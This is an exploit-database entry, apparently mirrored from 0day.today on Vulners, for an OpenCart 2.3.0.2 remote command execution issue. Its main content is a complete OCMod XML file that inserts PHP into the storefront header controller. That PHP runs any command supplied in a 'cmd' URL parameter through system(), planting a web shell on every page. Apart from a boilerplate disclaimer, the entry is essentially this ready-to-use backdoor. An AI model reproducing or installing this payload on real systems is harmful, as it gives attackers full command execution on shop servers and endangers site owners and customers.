Lucene search
K

Opencart 2.3.0.2 Insecure OCMod Generation Remote Command Execution Exploit

🗓️ 06 Aug 2019 00:00:00Reported by Todor DonevType 
zdt
 zdt
🔗 0day.today👁 65 Views

Opencart 2.3.0.2 Insecure OCMod Generation Remote Command Execution Exploi

Code
<?xml version="1.0" encoding="utf-8"?>

<!-- Opencart <= 2.3.0.2 Insecure OCMod Generation Pre-Auth RCE         -->

<!-- Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>          -->

<!--    Disclaimer:                                                     -->

<!--    This or previous programs is for Educational                    -->
<!--    purpose ONLY. Do not use it without permission.                 -->
<!--    The usual disclaimer applies, especially the                    -->
<!--    fact that Todor Donev is not liable for any                     -->
<!--    damages caused by direct or indirect use of the                 -->
<!--    information or functionality provided by these                  -->
<!--    programs. The author or any Internet provider                   -->
<!--    bears NO responsibility for content or misuse                   -->
<!--    of these programs or any derivatives thereof.                   -->
<!--    By using these programs you accept the fact                     -->
<!--    that any damage (dataloss, system crash,                        -->
<!--    system compromise, etc.) caused by the use                      -->
<!--    of these programs is not Todor Donev's                          -->
<!--    responsibility.                                                 -->

<!--    Use them at your own risk!                                      -->

<!--    NOTES: This file must be - oc2302_preauth_rce.ocmod.xml         -->

<modification>
    <name><![CDATA[Opencart <= 2.3.0.2 Insecure OCMod Generation Pre-Auth RCE]]></name>
    <code><![CDATA[Opencart <= 2.3.0.2 Insecure OCMod Generation Pre-Auth RCE]]></code>
    <version>1.0</version>
    <author>Todor Donev</author>
    <link>mailto:[email protected]</link>

    <file path="catalog/controller/common/header.php">
        <operation>
            <search><![CDATA[// For page specific css]]></search>
            <add position="before"><![CDATA[    if(isset($this->request->get['cmd'])){
      echo "<pre>";
      $cmd = ($this->request->get['cmd']);
      system($cmd);
      echo "</pre>";
    }]]></add>
        </operation>
    </file>
</modification>

#  0day.today [2019-12-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Aug 2019 00:00Current
0.1Low risk
Vulners AI Score0.1
65